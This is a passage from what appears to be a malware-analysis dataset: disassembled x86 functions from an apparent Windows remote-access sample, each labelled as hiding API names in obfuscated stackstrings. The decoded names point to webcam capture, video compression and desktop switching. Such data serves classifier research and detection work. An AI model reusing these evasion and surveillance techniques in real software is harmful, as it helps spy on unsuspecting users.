joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4180e2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and byte [ebp - 0x28], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x38]
push edi
mov ebx, str.USER32.dll
push eax
push ebx
mov byte [ebp - 0x38], 0x4f
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x49
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x32], 0x70
mov byte [ebp - 0x31], 0x75
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x44
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x70
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 8], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x4f
push eax
push ebx
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x6b
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x41
call esi
push eax
call edi
xor ecx, ecx
push 0x1ff
cmp dword [ebp + 8], ecx
push ecx
je 0x4181a0
push ecx
push dword [ebp + 8]
call eax
jmp 0x4181a5
push 1
call dword [ebp - 4]
test eax, eax
mov dword [ebp + 8], eax
je 0x4181fe
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x24]
push eax
push ebx
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x6b
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x70
call esi
push eax
call edi
push dword [ebp + 8]
mov esi, eax
call fcn.00417eda
test eax, eax
pop ecx
jne 0x418202
push dword [ebp + 8]
call esi
xor eax, eax
jmp 0x418205
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41820a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and byte [ebp - 0x2e], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x40]
push edi
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x40], 0x47
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x43
mov byte [ebp - 0x3c], 0x75
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x6e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x54
mov byte [ebp - 0x35], 0x68
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x49
mov byte [ebp - 0x2f], 0x64
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x1c], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov ebx, str.USER32.dll
push eax
push ebx
mov byte [ebp - 0x2c], 0x47
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x54
mov byte [ebp - 0x28], 0x68
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x44
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x70
call esi
push eax
call edi
mov dword [ebp - 8], eax
call dword [ebp - 4]
push eax
call dword [ebp - 8]
push str.Winlogon
mov dword [ebp - 4], eax
call fcn.004180e2
test eax, eax
pop ecx
je 0x41834e
and byte [ebp - 0xc], 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x4d
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x67
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x41
call esi
push eax
call edi
push 0x2e0003
push 0
push 0x312
push 0xffff
call eax
cmp dword [ebp - 4], 0
je 0x41834b
push dword [ebp - 4]
call fcn.00417eda
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4186fd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
xor ebx, ebx
push eax
push str.KERNEL32.dll
mov dword [esi], 0x422294
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x41
mov byte [ebp - 4], bl
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push ebx
push ebx
call eax
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.00418a57
test eax, eax
je 0x41882c
cmp byte [0x42f114], bl
jne 0x41882c
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push SysReAllocString
push 0x42d3ec
push str.32770
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x28]
push eax
push str.AVICAP32.dll
mov byte [ebp - 0x28], 0x63
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x43
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x77
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], bl
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push dword [esi + 0x10]
push ebx
push ebx
push ebx
push ebx
push 0x50000000
push str.CVideoCap
call eax
mov dword [esi + 0x14], eax
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41884f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esi], 0x422294
cmp byte [0x42f114], 0
je 0x4188cc
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41888c
xor ebx, ebx
push ebx
push ebx
push 0x445
push dword [esi + 0x14]
call edi
jmp 0x41888e
xor ebx, ebx
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4188a7
push ebx
push ebx
push 0x40b
push dword [esi + 0x14]
call edi
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x4188b5
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x4188c3
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
and byte [0x42f114], 0
jmp 0x4188ce
xor ebx, ebx
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4188e7
push ebx
push ebx
push 0x402
push dword [esi + 0x14]
call edi
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x418900
push ebx
push ebx
push 0x405
push dword [esi + 0x14]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x43
push eax
push str.USER32.dll
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x57
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x77
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push dword [esi + 0x10]
mov dword [ebp - 4], eax
call eax
push dword [esi + 0x14]
call dword [ebp - 4]
and byte [ebp - 0x11], 0
lea eax, [ebp - 0x1c]
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
call edi
push eax
call ebx
push dword [esi + 4]
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x418a57
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
cmp byte [0x42f114], 0
je 0x418a6d
xor eax, eax
leave
ret
and byte [ebp - 4], 0
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
push str.AVICAP32.dll
xor edi, edi
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x47
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x44
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x76
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor esi, esi
test edi, edi
jne 0x418b0e
lea eax, [ebp - 0x50]
push 0x32
push eax
lea eax, [ebp - 0xb4]
push 0x64
push eax
push esi
call ebx
inc esi
mov edi, eax
cmp esi, 0xa
jl 0x418af0
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x418b15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x418b3d
push 0
push 0
push 0x43d
push dword [esi + 0x14]
call dword [sym.imp.USER32.dll_SendMessageA]
and byte [ebp - 1], 0
lea eax, [ebp - 0x14]
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x4f
mov byte [ebp - 6], 0x62
mov byte [ebp - 5], 0x6a
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x63
mov byte [ebp - 2], 0x74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xbb8
push dword [esi + 4]
call eax
test eax, eax
jne 0x418bb6
mov eax, dword [esi + 0xc]
jmp 0x418bb8
xor eax, eax
pop esi
leave
ret
Function at 0x418e1e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x4215a8
call fcn.00420700
sub esp, 0x38
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x422298
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [ebp - 4], 0
and byte [ebp - 0x1d], 0
lea eax, [ebp - 0x30]
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x30], 0x49
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x45
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x68
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x6e
mov byte [ebp - 0x1f], 0x67
mov byte [ebp - 0x1e], 0x65
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
lea ecx, [esi + 0x114]
push 0
push ecx
call eax
and byte [ebp - 0x31], 0
lea eax, [ebp - 0x44]
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x44], 0x57
mov byte [ebp - 0x43], 0x61
mov byte [ebp - 0x42], 0x69
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x46
mov byte [ebp - 0x3f], 0x6f
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x53
mov byte [ebp - 0x3c], 0x69
mov byte [ebp - 0x3b], 0x6e
mov byte [ebp - 0x3a], 0x67
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x4f
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x6a
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x63
mov byte [ebp - 0x32], 0x74
call edi
push eax
call ebx
push 0xffffffffffffffff
push dword [esi + 0x130]
call eax
and byte [ebp - 0x11], 0
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
lea eax, [ebp - 0x1c]
push eax
push str.KERNEL32.dll
call edi
push eax
call ebx
push dword [esi + 0x130]
call eax
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.0040d51e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x41914f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop edi
cmp dword [ebp + 8], ebx
mov esi, ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
je 0x41922f
cmp dword [ebp + 0x10], ebx
je 0x41922f
mov eax, dword [esi + 0x48]
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [eax + 0x14]
jne 0x41922f
cmp dword [esi + 0x44], ebx
je 0x41922f
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x49
push eax
push str.MSVFW32.dll
mov byte [ebp - 0x1b], 0x43
mov byte [ebp - 0x1a], 0x53
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x71
mov byte [ebp - 0x17], 0x43
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x6d
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
add esi, 4
push ecx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 8]
push ebx
push esi
call eax
cmp eax, ebx
je 0x41922f
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
cmp ecx, ebx
je 0x419212
mov dword [ecx], edx
mov ecx, dword [ebp + 0x18]
cmp ecx, ebx
je 0x41921e
mov esi, dword [ebp - 8]
mov dword [ecx], esi
push edx
push eax
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, edi
jmp 0x419231
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x419238
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and byte [ebp - 5], 0
push ebx
push esi
lea eax, [ebp - 0x18]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
mov esi, ecx
push str.KERNEL32.dll
mov byte [ebp - 0x18], 0x49
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xd], 0x45
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x68
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x67
mov byte [ebp - 6], 0x65
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 4], eax
lea eax, [esi + 0x114]
push 0
push eax
call dword [ebp - 4]
and byte [ebp - 0x19], 0
lea eax, [ebp - 0x2c]
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x2c], 0x57
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x46
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x4f
mov byte [ebp - 0x1e], 0x62
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x74
call edi
push eax
call ebx
push 0xffffffffffffffff
push dword [esi + 0x130]
call eax
mov eax, dword [ebp + 8]
push 1
mov dword [esi + 0x124], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x128], eax
lea eax, [esi + 0x114]
push eax
call dword [ebp - 4]
xor eax, eax
push 1
push eax
push eax
push esi
push 0x419365
push eax
push eax
call fcn.00417312
add esp, 0x1c
mov dword [esi + 0x130], eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41946f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x4215be
call fcn.00420700
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.00418a57
test eax, eax
je 0x419516
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x4194ac
call fcn.004186fd
mov ecx, eax
jmp 0x4194ae
xor ecx, ecx
mov eax, dword [esi + 0x124]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x118], ecx
je 0x4194d0
mov edx, dword [esi + 0x128]
cmp edx, ebx
je 0x4194d0
push edx
push eax
jmp 0x41950a
push 0x120
push 0x160
call fcn.00418bbb
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x41951d
mov ecx, dword [esi + 0x118]
push 0x90
push 0xb0
call fcn.00418bbb
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x41951d
mov ecx, dword [esi + 0x118]
push ebx
push ebx
call fcn.00418bbb
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x41951d
xor al, al
jmp 0x4195aa
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x419557
mov dword [eax], 0x4222a0
mov dword [eax + 0x48], ebx
jmp 0x419559
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x118]
mov dword [esi + 0x11c], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.004195b8
test al, al
jne 0x419599
mov ecx, dword [esi + 0x11c]
cmp ecx, ebx
je 0x419585
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x11c], ebx
jb 0x419540
jmp 0x4195a6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x120], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4195b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
test eax, eax
mov esi, ecx
je 0x419759
push 0x40
lea ebx, [esi + 4]
pop edi
mov dword [esi + 0x48], eax
push edi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov eax, dword [esi + 0x44]
and dword [esi + 0x1c], 0
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
and byte [ebp - 2], 0
add esp, 0xc
mov dword [esi + 0x14], eax
lea eax, [ebp - 8]
mov dword [ebx], edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
push str.MSVFW32.dll
mov dword [esi + 8], 1
mov dword [esi + 0x10], 0x63646976
mov dword [esi + 0x2c], 0xa
mov dword [esi + 0x30], 6
mov dword [esi + 0x34], 0x2710
mov byte [ebp - 8], 0x49
mov byte [ebp - 7], 0x43
mov byte [ebp - 6], 0x4f
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x6e
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 3
push dword [esi + 0x14]
push 0x63646976
call eax
test eax, eax
mov dword [esi + 0x44], eax
je 0x419759
lea ecx, [esi + 0x4c]
push ecx
push dword [esi + 0x48]
push 0x4004
push eax
call sub.MSVFW32.dll_ICSendMessage
and byte [ebp - 0xb], 0
lea eax, [ebp - 0x18]
push eax
push str.MSVFW32.dll
mov byte [ebp - 0x18], 0x49
mov byte [ebp - 0x17], 0x43
mov byte [ebp - 0x16], 0x53
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x4d
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0xc], 0x65
call edi
push eax
call ebx
push 0xacdeaea2
push 0xf7329ace
push 0x60c9
push dword [esi + 0x44]
call eax
mov eax, dword [esi + 0x44]
and byte [ebp - 0x19], 0
mov dword [esi + 0xc], eax
lea eax, [ebp - 0x30]
push eax
push str.MSVFW32.dll
mov dword [esi + 8], 1
mov byte [ebp - 0x30], 0x49
mov byte [ebp - 0x2f], 0x43
mov byte [ebp - 0x2e], 0x53
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x71
mov byte [ebp - 0x2b], 0x43
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x6d
mov byte [ebp - 0x28], 0x70
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], 0x73
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x6d
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x53
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x74
call edi
push eax
call ebx
push dword [esi + 0x48]
lea ecx, [esi + 4]
push ecx
call eax
test eax, eax
jne 0x41975d
xor al, al
jmp 0x419773
push dword [esi + 0x48]
lea eax, [esi + 0x4c]
push eax
push 0x400c
push dword [esi + 0x44]
call sub.MSVFW32.dll_ICSendMessage
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x419796
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [ecx + 0x44], 0
mov dword [ebp - 4], ecx
mov dword [ecx], 0x4222a0
je 0x4198cc
and byte [ebp - 0xd], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push edi
mov ebx, str.MSVFW32.dll
push eax
push ebx
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x43
mov byte [ebp - 0x12], 0x43
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x18], 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x49
push eax
push ebx
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x6d
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x65
call esi
push eax
call edi
and byte [ebp - 0x2b], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x40]
mov byte [ebp - 0x40], 0x49
push eax
push ebx
mov byte [ebp - 0x3f], 0x43
mov byte [ebp - 0x3e], 0x53
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x71
mov byte [ebp - 0x3b], 0x43
